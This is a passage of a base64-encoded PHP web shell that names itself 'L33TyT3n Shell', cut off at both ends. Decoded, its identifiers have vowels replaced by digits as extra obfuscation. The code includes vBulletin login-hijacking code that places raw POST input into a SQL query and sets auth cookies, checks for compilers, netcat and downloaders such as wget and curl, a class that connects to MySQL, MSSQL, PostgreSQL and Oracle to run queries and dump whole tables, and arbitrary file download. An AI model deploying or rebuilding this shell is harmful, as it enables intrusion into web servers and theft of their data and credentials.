HI1XzJuYzUoJF9QT1NUWydnbDJiMWwnXSk7DQpyNXEzNHI1XzJuYzUoJF9QT1NUWydsMmc0biddKTsNCiR2YjNsbDV0NG4tPjNzNXI0bmYyID0gJHZiM2xsNXQ0bi0+ZGItPnEzNXJ5X2Y0cnN0KCJTRUxFQ1QgM3M1cjRkLDNzNXJncjIzcDRkLCBtNW1iNXJncjIzcDRkcywgNG5mcjFjdDQybmdyMjNwNGRzLCAzczVybjFtNSwgcDFzc3cycmQsIHMxbHQgRlJPTSAiIC4gVEFCTEVfUFJFRklYIC4gIjNzNXIgV0hFUkUgM3M1cm4xbTUgPSAnIiAuICRfUE9TVFsnM3M1ciddIC4gIiciKTsNCjRmICghJHZiM2xsNXQ0bi0+M3M1cjRuZjJbJzNzNXI0ZCddKSA1Y2gyICJJbnYxbDRkIDNzNXJuMW01ISI7DQo1bHM1DQp7DQo1Y2gyICRfUE9TVFsnbDJnNG4nXTsNCnZiczV0YzIyazQ1KCczczVyNGQnLCAkdmIzbGw1dDRuLT4zczVyNG5mMlsnM3M1cjRkJ10sIHRyMzUsIHRyMzUsIHRyMzUpOw0KdmJzNXRjMjJrNDUoJ3Axc3N3MnJkJywgbWRpKCR2YjNsbDV0NG4tPjNzNXI0bmYyWydwMXNzdzJyZCddIC4gQ09PS0lFX1NBTFQpLCB0cjM1LCB0cjM1LCB0cjM1KTsNCjV4NWNfM25zdHI0azVfM3M1cigkX1BPU1RbJzNzNXInXSk7DQpwcjJjNXNzX241d19sMmc0bignY3BsMmc0bicsIFRSVUUsIFRSVUUpOw0KZDJfbDJnNG5fcjVkNHI1Y3QoKTsNCn19fQ0KNWNoMiAiPC90MWJsNT48YnI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj48L2IyZHk+PC9odG1sPiI7DQo1eDR0KCk7DQp9DQovL1QyMmxzIEgxY2s0bmcgRW5kDQoNCiRsMW5nMzFnNT0nNW5nJzsNCiQxM3RoID0gMDsNCjVycjJyX3I1cDJydDRuZyhFX0FMTCk7DQokM3M1cmYzbCA9IDFycjF5KCdnY2MnLCcsIGxjYycsJywgY2MnLCcsIGxkJywnLCBwaHAnLCcsIHA1cmwnLCcsIHB5dGgybicsJywgcjNieScsJywgbTFrNScsJywgdDFyJywnLCBnejRwJywnLCBiejRwJywnLCBiejRwYScsJywgbmMnLCcsIGwyYzF0NScsJywgczM0ZHA1cmwnKTsNCiRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0Jyk7DQpzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkA0bjRfczV0KCcyM3RwM3RfYjNmZjVyNG5nJywwKTsNCmQ1ZjRuNSgic3QxcnR0NG01IixnNXRtNGNyMnQ0bTUoKSk7IA0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCiR2NXJzNDJuID0gJ0wzM1R5VDNuIEVkNHQ0Mm4nOw0KJGYyMnQ1ciA9ICc8ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4yLS0tWyAgTDMzVHlUM24gU2g1bGwgXS0tLTI8L2I+PC9mMm50PjwvZDR2Pic7DQoNCg0KDQo0ZigoIUBmM25jdDQybl81eDRzdHMoJzRuNF9nNXQnKSkgfHwgKEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSE9TlVMTCkgfHwgKEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSE9TlVMTCkpeyQycDVuX2IxczVkNHI9Njt9IDVsczV7JDJwNW5fYjFzNWQ0cj0wO307DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCc0bjRfczV0JykpDQogew0KIEA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KIEA0bjRfczV0KCcyM3RwM3RfYjNmZjVyNG5nJywwKTsNCiB9DQo1bHM1DQogew0KIEA0bjRfMWx0NXIoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQogQDRuNF8xbHQ1cignMjN0cDN0X2IzZmY1cjRuZycsMCk7DQogfQ0KDQoNCg0KDQoNCg0KNGYodjVyczQybl9jMm1wMXI1KHBocHY1cnM0Mm4oKSwgJ3UuNi4wJykgPT0gLTYpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQo0ZiAoQGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpDQogew0KIGYycjUxY2ggKCRfUE9TVCAxcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0cjRwc2wxc2g1cygkdik7DQogIH0NCiBmMnI1MWNoICgkX0NPT0tJRSAxcyAkaz0+JHYpDQogIHsNCiAgJF9DT09LSUVbJGtdID0gc3RyNHBzbDFzaDVzKCR2KTsNCiAgfQ0KIH0NCmYzbmN0NDJuIGMybXByNXNzKCYkZjRsNW4xbTUsJiRmNGw1ZDNtcCwkYzJtcHI1c3MpDQogew0KICAgIGdsMmIxbCAkYzJudDVudF81bmMyZDRuZzsNCiAgICBnbDJiMWwgJG00bTVfdHlwNTsNCiAgICA0ZiAoJGMybXByNXNzID09ICdiejRwJyAmJiBAZjNuY3Q0Mm5fNXg0c3RzKCdiemMybXByNXNzJykpDQogICAgIHsNCiAgICAgICAgJGY0bDVuMW01ICAuPSAnLmJ6YSc7DQogICAgICAgICRtNG01X3R5cDUgPSAnMXBwbDRjMXQ0Mm4veC1iejRwYSc7DQogICAgICAgICRmNGw1ZDNtcCA9IGJ6YzJtcHI1c3MoJGY0bDVkM21wKTsNCiAgICAgfQ0KICAgICA1bHM1IDRmICgkYzJtcHI1c3MgPT0gJ2d6NHAnICYmIEBmM25jdDQybl81eDRzdHMoJ2d6NW5jMmQ1JykpDQogICAgIHsNCiAgICAgICAgJGY0bDVuMW01ICAuPSAnLmd6JzsNCiAgICAgICAgJGMybnQ1bnRfNW5jMmQ0bmcgPSAneC1nejRwJzsNCiAgICAgICAgJG00bTVfdHlwNSA9ICcxcHBsNGMxdDQybi94LWd6NHAnOw0KICAgICAgICAkZjRsNWQzbXAgPSBnejVuYzJkNSgkZjRsNWQzbXApOw0KICAgICB9DQogICAgIDVsczUgNGYgKCRjMm1wcjVzcyA9PSAnejRwJyAmJiBAZjNuY3Q0Mm5fNXg0c3RzKCdnemMybXByNXNzJykpDQogICAgIHsNCiAgICAgCSRmNGw1bjFtNSAuPSAnLno0cCc7DQogICAgICAgICRtNG01X3R5cDUgPSAnMXBwbDRjMXQ0Mm4vejRwJzsNCiAgICAgICAgJHo0cGY0bDUgPSBuNXcgejRwZjRsNSgpOw0KICAgICAgICAkejRwZjRsNSAtPiAxZGRGNGw1KCRmNGw1ZDNtcCwgczNic3RyKCRmNGw1bjFtNSwgMCwgLXUpKTsNCiAgICAgICAgJGY0bDVkM21wID0gJHo0cGY0bDUgLT4gZjRsNSgpOw0KICAgICB9DQogICAgIDVsczUNCiAgICAgew0KICAgICAJJG00bTVfdHlwNSA9ICcxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0nOw0KICAgICB9DQogfQ0KY2wxc3MgbXlfc3FsDQogew0KIHYxciAkaDJzdCA9ICdsMmMxbGgyc3QnOw0KIHYxciAkcDJydCA9ICcnOw0KIHYxciAkM3M1ciA9ICcnOw0KIHYxciAkcDFzcyA9ICcnOw0KIHYxciAkYjFzNSA9ICcnOw0KIHYxciAkZGIgICA9ICcnOw0KIHYxciAkYzJubjVjdDQybjsNCiB2MXIgJHI1czsNCiB2MXIgJDVycjJyOw0KIHYxciAkcjJ3czsNCiB2MXIgJGMybDNtbnM7DQogdjFyICRuM21fcjJ3czsNCiB2MXIgJG4zbV9mNDVsZHM7DQogdjFyICRkM21wOw0KDQogZjNuY3Q0Mm4gYzJubjVjdCgpDQogIHsNCiAgCXN3NHRjaCgkdGg0cy0+ZGIpDQogICAgIHsNCiAgCSBjMXM1ICdNeVNRTCc6DQogIAkgIDRmKDVtcHR5KCR0aDRzLT5wMnJ0KSkgeyAkdGg0cy0+cDJydCA9ICdvbzBlJzsgfQ0KICAJICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0JykpIHI1dDNybiAwOw0KICAJICAkdGg0cy0+YzJubjVjdDQybiA9IEBteXNxbF9jMm5uNWN0KCR0aDRzLT5oMnN0Lic6Jy4kdGg0cy0+cDJydCwkdGg0cy0+M3M1ciwkdGg0cy0+cDFzcyk7DQogIAkgIDRmKDRzX3I1czIzcmM1KCR0aDRzLT5jMm5uNWN0NDJuKSkgcjV0M3JuIDY7DQogIAkgYnI1MWs7DQogICAgIGMxczUgJ01TU1FMJzoNCiAgICAgIDRmKDVtcHR5KCR0aDRzLT5wMnJ0KSkgeyAkdGg0cy0+cDJydCA9ICc2dW9vJzsgfQ0KICAJICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpIHI1dDNybiAwOw0KICAJICAkdGg0cy0+YzJubjVjdDQybiA9IEBtc3NxbF9jMm5uNWN0KCR0aDRzLT5oMnN0LicsJy4kdGg0cy0+cDJydCwkdGg0cy0+M3M1ciwkdGg0cy0+cDFzcyk7DQogICAgICA0ZigkdGg0cy0+YzJubjVjdDQybikgcjV0M3JuIDY7DQogICAgIGJyNTFrOw0KICAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgICAgIDRmKDVtcHR5KCR0aDRzLT5wMnJ0KSkgeyAkdGg0cy0+cDJydCA9ICdpdW9hJzsgfQ0KICAgICAgJHN0ciA9ICJoMnN0PSciLiR0aDRzLT5oMnN0LiInIHAycnQ9JyIuJHRoNHMtPnAycnQuIicgM3M1cj0nIi4kdGg0cy0+M3M1ci4iJyBwMXNzdzJyZD0nIi4kdGg0cy0+cDFzcy4iJyBkYm4xbTU9JyIuJHRoNHMtPmIxczUuIiciOw0KICAgICAgNGYoIWYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKSByNXQzcm4gMDsNCiAgICAgICR0aDRzLT5jMm5uNWN0NDJuID0gQHBnX2Mybm41Y3QoJHN0cik7DQogICAgICA0Zig0c19yNXMyM3JjNSgkdGg0cy0+YzJubjVjdDQybikpIHI1dDNybiA2Ow0KICAgICBicjUxazsNCiAgICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzJjNGwyZzJuJykpIHI1dDNybiAwOw0KICAgICAgJHRoNHMtPmMybm41Y3Q0Mm4gPSBAMmM0bDJnMm4oJHRoNHMtPjNzNXIsICR0aDRzLT5wMXNzLCAkdGg0cy0+YjFzNSk7DQogICAgICA0Zig0c19yNXMyM3JjNSgkdGg0cy0+YzJubjVjdDQybikpIHI1dDNybiA2Ow0KICAgICBicjUxazsNCiAgICAgfQ0KICAgIHI1dDNybiAwOw0KICB9DQoNCiBmM25jdDQybiBzNWw1Y3RfZGIoKQ0KICB7DQogICBzdzR0Y2goJHRoNHMtPmRiKQ0KICAgIHsNCiAgCWMxczUgJ015U1FMJzoNCiAgCSA0ZihAbXlzcWxfczVsNWN0X2RiKCR0aDRzLT5iMXM1LCR0aDRzLT5jMm5uNWN0NDJuKSkgcjV0M3JuIDY7DQogICAgYnI1MWs7DQogICAgYzFzNSAnTVNTUUwnOg0KICAJIDRmKEBtc3NxbF9zNWw1Y3RfZGIoJHRoNHMtPmIxczUsJHRoNHMtPmMybm41Y3Q0Mm4pKSByNXQzcm4gNjsNCiAgICBicjUxazsNCiAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgICAgcjV0M3JuIDY7DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgcjV0M3JuIDY7DQogICAgYnI1MWs7DQogICAgfQ0KICAgcjV0M3JuIDA7DQogIH0NCg0KIGYzbmN0NDJuIHEzNXJ5KCRxMzVyeSkNCiAgew0KICAgJHRoNHMtPnI1cz0kdGg0cy0+NXJyMnI9Jyc7DQogICBzdzR0Y2goJHRoNHMtPmRiKQ0KICAgIHsNCiAgCWMxczUgJ015U1FMJzoNCiAgICAgNGYoZjFsczU9PT0oJHRoNHMtPnI1cz1AbXlzcWxfcTM1cnkoJy8qJy5jaHIoMCkuJyovJy4kcTM1cnksJHRoNHMtPmMybm41Y3Q0Mm4pKSkNCiAgICAgIHsNCiAgICAgICR0aDRzLT41cnIyciA9IEBteXNxbF81cnIycigkdGg0cy0+YzJubjVjdDQybik7DQogICAgICByNXQzcm4gMDsNCiAgICAgIH0NCiAgICAgNWxzNSA0Zig0c19yNXMyM3JjNSgkdGg0cy0+cjVzKSkgeyByNXQzcm4gNjsgfQ0KICAgICByNXQzcm4gYTsNCiAgCWJyNTFrOw0KICAgIGMxczUgJ01TU1FMJzoNCiAgICAgNGYoZjFsczU9PT0oJHRoNHMtPnI1cz1AbXNzcWxfcTM1cnkoJHEzNXJ5LCR0aDRzLT5jMm5uNWN0NDJuKSkpDQogICAgICB7DQogICAgICAkdGg0cy0+NXJyMnIgPSAnUTM1cnkgNXJyMnInOw0KICAgICAgcjV0M3JuIDA7DQogICAgICB9DQogICAgICA1bHM1IDRmKEBtc3NxbF9uM21fcjJ3cygkdGg0cy0+cjVzKSA+IDApIHsgcjV0M3JuIDY7IH0NCiAgICAgcjV0M3JuIGE7DQogICAgYnI1MWs7DQogICAgYzFzNSAnUDJzdGdyNVNRTCc6DQogICAgIDRmKGYxbHM1PT09KCR0aDRzLT5yNXM9QHBnX3EzNXJ5KCR0aDRzLT5jMm5uNWN0NDJuLCRxMzVyeSkpKQ0KICAgICAgew0KICAgICAgJHRoNHMtPjVycjJyID0gQHBnX2wxc3RfNXJyMnIoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgICAgcjV0M3JuIDA7DQogICAgICB9DQogICAgICA1bHM1IDRmKEBwZ19uM21fcjJ3cygkdGg0cy0+cjVzKSA+IDApIHsgcjV0M3JuIDY7IH0NCiAgICAgcjV0M3JuIGE7DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgNGYoZjFsczU9PT0oJHRoNHMtPnI1cz1AMmM0cDFyczUoJHRoNHMtPmMybm41Y3Q0Mm4sJHEzNXJ5KSkpDQogICAgICB7DQogICAgICAkdGg0cy0+NXJyMnIgPSAnUTM1cnkgcDFyczUgNXJyMnInOw0KICAgICAgfQ0KICAgICA1bHM1DQogICAgICB7DQogICAgICA0ZihAMmM0NXg1YzN0NSgkdGg0cy0+cjVzKSkNCiAgICAgICB7DQogICAgICAgNGYoQDJjNHIyd2MyM250KCR0aDRzLT5yNXMpICE9IDApIHI1dDNybiBhOw0KICAgICAgIHI1dDNybiA2Ow0KICAgICAgIH0NCiAgICAgICQ1cnIyciA9IEAyYzQ1cnIycigpOw0KICAgICAgJHRoNHMtPjVycjJyPSQ1cnIyclsnbTVzczFnNSddOw0KICAgICAgfQ0KICAgIGJyNTFrOw0KICAgIH0NCiAgcjV0M3JuIDA7DQogIH0NCiBmM25jdDQybiBnNXRfcjVzM2x0KCkNCiAgew0KICAgJHRoNHMtPnIyd3M9MXJyMXkoKTsNCiAgICR0aDRzLT5jMmwzbW5zPTFycjF5KCk7DQogICAkdGg0cy0+bjNtX3Iyd3M9JHRoNHMtPm4zbV9mNDVsZHM9MDsNCiAgIHN3NHRjaCgkdGg0cy0+ZGIpDQogICAgew0KICAJYzFzNSAnTXlTUUwnOg0KICAJICR0aDRzLT5uM21fcjJ3cz1AbXlzcWxfbjNtX3Iyd3MoJHRoNHMtPnI1cyk7DQogIAkgJHRoNHMtPm4zbV9mNDVsZHM9QG15c3FsX24zbV9mNDVsZHMoJHRoNHMtPnI1cyk7DQogIAkgd2g0bDUoZjFsczUgIT09ICgkdGg0cy0+cjJ3c1tdID0gQG15c3FsX2Y1dGNoXzFzczJjKCR0aDRzLT5yNXMpKSk7DQogIAkgQG15c3FsX2ZyNTVfcjVzM2x0KCR0aDRzLT5yNXMpOw0KICAJIDRmKCR0aDRzLT5uM21fcjJ3cyl7JHRoNHMtPmMybDNtbnMgPSBAMXJyMXlfazV5cygkdGg0cy0+cjJ3c1swXSk7IHI1dDNybiA2O30NCiAgICBicjUxazsNCiAgICBjMXM1ICdNU1NRTCc6DQogIAkgJHRoNHMtPm4zbV9yMndzPUBtc3NxbF9uM21fcjJ3cygkdGg0cy0+cjVzKTsNCiAgCSAkdGg0cy0+bjNtX2Y0NWxkcz1AbXNzcWxfbjNtX2Y0NWxkcygkdGg0cy0+cjVzKTsNCiAgCSB3aDRsNShmMWxzNSAhPT0gKCR0aDRzLT5yMndzW10gPSBAbXNzcWxfZjV0Y2hfMXNzMmMoJHRoNHMtPnI1cykpKTsNCiAgCSBAbXNzcWxfZnI1NV9yNXMzbHQoJHRoNHMtPnI1cyk7DQogIAkgNGYoJHRoNHMtPm4zbV9yMndzKXskdGg0cy0+YzJsM21ucyA9IEAxcnIxeV9rNXlzKCR0aDRzLT5yMndzWzBdKTsgcjV0M3JuIDY7fTsNCiAgICBicjUxazsNCiAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgCSAkdGg0cy0+bjNtX3Iyd3M9QHBnX24zbV9yMndzKCR0aDRzLT5yNXMpOw0KICAJICR0aDRzLT5uM21fZjQ1bGRzPUBwZ19uM21fZjQ1bGRzKCR0aDRzLT5yNXMpOw0KICAJIHdoNGw1KGYxbHM1ICE9PSAoJHRoNHMtPnIyd3NbXSA9IEBwZ19mNXRjaF8xc3MyYygkdGg0cy0+cjVzKSkpOw0KICAJIEBwZ19mcjU1X3I1czNsdCgkdGg0cy0+cjVzKTsNCiAgCSA0ZigkdGg0cy0+bjNtX3Iyd3MpeyR0aDRzLT5jMmwzbW5zID0gQDFycjF5X2s1eXMoJHRoNHMtPnIyd3NbMF0pOyByNXQzcm4gNjt9DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgJHRoNHMtPm4zbV9mNDVsZHM9QDJjNG4zbWMybHMoJHRoNHMtPnI1cyk7DQogICAgIHdoNGw1KGYxbHM1ICE9PSAoJHRoNHMtPnIyd3NbXSA9IEAyYzRfZjV0Y2hfMXNzMmMoJHRoNHMtPnI1cykpKSAkdGg0cy0+bjNtX3Iyd3MrKzsNCiAgICAgQDJjNGZyNTVzdDF0NW01bnQoJHRoNHMtPnI1cyk7DQogICAgIDRmKCR0aDRzLT5uM21fcjJ3cyl7JHRoNHMtPmMybDNtbnMgPSBAMXJyMXlfazV5cygkdGg0cy0+cjJ3c1swXSk7IHI1dDNybiA2O30NCiAgICBicjUxazsNCiAgICB9DQogICByNXQzcm4gMDsNCiAgfQ0KIGYzbmN0NDJuIGQzbXAoJHQxYmw1KQ0KICB7DQogICA0Zig1bXB0eSgkdDFibDUpKSByNXQzcm4gMDsNCiAgICR0aDRzLT5kM21wPTFycjF5KCk7DQogICAkdGg0cy0+ZDNtcFswXSA9ICcjIyc7DQogICAkdGg0cy0+ZDNtcFs2XSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgICR0aDRzLT5kM21wW2FdID0gJyMjICBDcjUxdDVkOiAnLmQxdDUgKCJkL20vWSBIOjQ6cyIpOw0KICAgJHRoNHMtPmQzbXBbb10gPSAnIyMgRDF0MWIxczU6ICcuJHRoNHMtPmIxczU7DQogICAkdGg0cy0+ZDNtcFt1XSA9ICcjIyAgICBUMWJsNTogJy4kdDFibDU7DQogICAkdGg0cy0+ZDNtcFtpXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgIHN3NHRjaCgkdGg0cy0+ZGIpDQogICAgew0KICAJYzFzNSAnTXlTUUwnOg0KICAJICR0aDRzLT5kM21wWzBdID0gJyMjIE15U1FMIGQzbXAnOw0KICAJIDRmKCR0aDRzLT5xMzVyeSgnLyonLmNocigwKS4nKi8gU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHQxYmw1LidgJykhPTYpIHI1dDNybiAwOw0KICAJIDRmKCEkdGg0cy0+ZzV0X3I1czNsdCgpKSByNXQzcm4gMDsNCiAgCSAkdGg0cy0+ZDNtcFtdID0gJHRoNHMtPnIyd3NbMF1bJ0NyNTF0NSBUMWJsNSddOw0KICAgICAkdGg0cy0+ZDNtcFtdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KICAJIDRmKCR0aDRzLT5xMzVyeSgnLyonLmNocigwKS4nKi8gU0VMRUNUICogRlJPTSBgJy4kdDFibDUuJ2AnKSE9NikgcjV0M3JuIDA7DQogIAkgNGYoISR0aDRzLT5nNXRfcjVzM2x0KCkpIHI1dDNybiAwOw0KICAJIGYycigkND0wOyQ0PCR0aDRzLT5uM21fcjJ3czskNCsrKQ0KICAJICB7DQogICAgICBmMnI1MWNoKCR0aDRzLT5yMndzWyQ0XSAxcyAkaz0+JHYpIHskdGg0cy0+cjJ3c1skNF1bJGtdID0gQG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkdik7fQ0KICAJICAkdGg0cy0+ZDNtcFtdID0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoYCcuQDRtcGwyZDUoImAsIGAiLCAkdGg0cy0+YzJsM21ucykuJ2ApIFZBTFVFUyAoXCcnLkA0bXBsMmQ1KCInLCAnIiwgJHRoNHMtPnIyd3NbJDRdKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicjUxazsNCiAgICBjMXM1ICdNU1NRTCc6DQogICAgICR0aDRzLT5kM21wWzBdID0gJyMjIE1TU1FMIGQzbXAnOw0KICAgICA0ZigkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpIT02KSByNXQzcm4gMDsNCiAgCSA0ZighJHRoNHMtPmc1dF9yNXMzbHQoKSkgcjV0M3JuIDA7DQogIAkgZjJyKCQ0PTA7JDQ8JHRoNHMtPm4zbV9yMndzOyQ0KyspDQogIAkgIHsNCiAgICAgIGYycjUxY2goJHRoNHMtPnIyd3NbJDRdIDFzICRrPT4kdikgeyR0aDRzLT5yMndzWyQ0XVska10gPSBAMWRkc2wxc2g1cygkdik7fQ0KICAJICAkdGg0cy0+ZDNtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuQDRtcGwyZDUoIiwgIiwgJHRoNHMtPmMybDNtbnMpLicpIFZBTFVFUyAoXCcnLkA0bXBsMmQ1KCInLCAnIiwgJHRoNHMtPnIyd3NbJDRdKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicjUxazsNCiAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgICAgJHRoNHMtPmQzbXBbMF0gPSAnIyMgUDJzdGdyNVNRTCBkM21wJzsNCiAgICAgNGYoJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KSE9NikgcjV0M3JuIDA7DQogIAkgNGYoISR0aDRzLT5nNXRfcjVzM2x0KCkpIHI1dDNybiAwOw0KICAJIGYycigkND0wOyQ0PCR0aDRzLT5uM21fcjJ3czskNCsrKQ0KICAJICB7DQogICAgICBmMnI1MWNoKCR0aDRzLT5yMndzWyQ0XSAxcyAkaz0+JHYpIHskdGg0cy0+cjJ3c1skNF1bJGtdID0gQDFkZHNsMXNoNXMoJHYpO30NCiAgCSAgJHRoNHMtPmQzbXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0MWJsNS4nICgnLkA0bXBsMmQ1KCIsICIsICR0aDRzLT5jMmwzbW5zKS4nKSBWQUxVRVMgKFwnJy5ANG1wbDJkNSgiJywgJyIsICR0aDRzLT5yMndzWyQ0XSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgICR0aDRzLT5kM21wWzBdID0gJyMjIE9SQUNMRSBkM21wJzsNCiAgICAgICR0aDRzLT5kM21wW10gID0gJyMjIDNuZDVyIGMybnN0cjNjdDQybic7DQogICAgYnI1MWs7DQogICAgZDVmMTNsdDoNCiAgICAgcjV0M3JuIDA7DQogICAgYnI1MWs7DQogICAgfQ0KICAgcjV0M3JuIDY7DQogIH0NCiBmM25jdDQybiBjbDJzNSgpDQogIHsNCiAgIHN3NHRjaCgkdGg0cy0+ZGIpDQogICAgew0KICAJYzFzNSAnTXlTUUwnOg0KICAJIEBteXNxbF9jbDJzNSgkdGg0cy0+YzJubjVjdDQybik7DQogICAgYnI1MWs7DQogICAgYzFzNSAnTVNTUUwnOg0KICAgICBAbXNzcWxfY2wyczUoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgIGJyNTFrOw0KICAgIGMxczUgJ1Ayc3RncjVTUUwnOg0KICAgICBAcGdfY2wyczUoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgIGJyNTFrOw0KICAgIGMxczUgJ09yMWNsNSc6DQogICAgIEAyYzRfY2wyczUoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgIGJyNTFrOw0KICAgIH0NCiAgfQ0KIGYzbmN0NDJuIDFmZjVjdDVkX3Iyd3MoKQ0KICB7DQogICBzdzR0Y2goJHRoNHMtPmRiKQ0KICAgIHsNCiAgCWMxczUgJ015U1FMJzoNCiAgCSByNXQzcm4gQG15c3FsXzFmZjVjdDVkX3Iyd3MoJHRoNHMtPnI1cyk7DQogICAgYnI1MWs7DQogICAgYzFzNSAnTVNTUUwnOg0KICAgICByNXQzcm4gQG1zc3FsXzFmZjVjdDVkX3Iyd3MoJHRoNHMtPnI1cyk7DQogICAgYnI1MWs7DQogICAgYzFzNSAnUDJzdGdyNVNRTCc6DQogICAgIHI1dDNybiBAcGdfMWZmNWN0NWRfcjJ3cygkdGg0cy0+cjVzKTsNCiAgICBicjUxazsNCiAgICBjMXM1ICdPcjFjbDUnOg0KICAgICByNXQzcm4gQDJjNHIyd2MyM250KCR0aDRzLT5yNXMpOw0KICAgIGJyNTFrOw0KICAgIGQ1ZjEzbHQ6DQogICAgIHI1dDNybiAwOw0KICAgIGJyNTFrOw0KICAgIH0NCiAgfQ0KIH0NCjRmKCE1bXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZDJ3bmwyMWRfZjRsNSIgJiYgITVtcHR5KCRfUE9TVFsnZF9uMW01J10pKQ0KIHsNCiAgNGYoISRmNGw1PUBmMnA1bigkX1BPU1RbJ2RfbjFtNSddLCJyIikpIHsgNXJyKDYsJF9QT1NUWydkX24xbTUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgNWxzNQ0KICAgew0KICAgIEAyYl9jbDUxbigpOw0KICAgICRmNGw1bjFtNSA9IEBiMXM1bjFtNSgkX1BPU1RbJ2RfbjFtNSddKTsNCiAgICAkZjRsNWQzbXAgPSBAZnI1MWQoJGY0bDUsQGY0bDVzNHo1KCRfUE9TVFsnZF9uMW01J10pKTsNCiAgICBmY2wyczUoJGY0bDUpOw0KICAgICRjMm50NW50XzVuYzJkNG5nPSRtNG01X3R5cDU9Jyc7DQogICAgYzJtcHI1c3MoJGY0bDVuMW01LCRmNGw1ZDNtcCwkX1BPU1RbJ2MybXByNXNzJ10pOw0KICAgIDRmICghNW1wdHkoJGMybnQ1bnRfNW5jMmQ0bmcpKSB7IGg1MWQ1cignQzJudDVudC1FbmMyZDRuZzogJyAuICRjMm50NW50XzVuYzJkNG5nKTsgfQ0KICAgIGg1MWQ1cigiQzJudDVudC10eXA1OiAiLiRtNG01X3R5cDUpOw0KICAgIGg1MWQ1cigiQzJudDVudC1kNHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9XCIiLiRmNGw1bjFtNS4iXCI7Iik7DQogICAgNWNoMiAkZjRsNWQzbXA7DQogICAgNXg0dCgpOw0KICAgfQ0KIH0NCjRmKDRzczV0KCRfR0VUWydwaHA0bmYyJ10pKSB7IDVjaDIgQHBocDRuZjIoKTsgNWNoMiAiPGJyPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPlsgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvMT4gXTwvYj48L2YybnQ+PC9kNHY+IjsgZDQ1KCk7IH0NCg0KDQo0ZiAoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xMzVyeSIpDQogew0KIDVjaDIgJGg1MWQ7DQogJHNxbCA9IG41dyBteV9zcWwoKTsNCiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmgyc3QgPSAkX1BPU1RbJ2RiX3M1cnY1ciddOw0KICRzcWwtPnAycnQgPSAkX1BPU1RbJ2RiX3AycnQnXTsNCiAkc3FsLT4zczVyID0gJF9QT1NUWydteXNxbF9sJ107DQ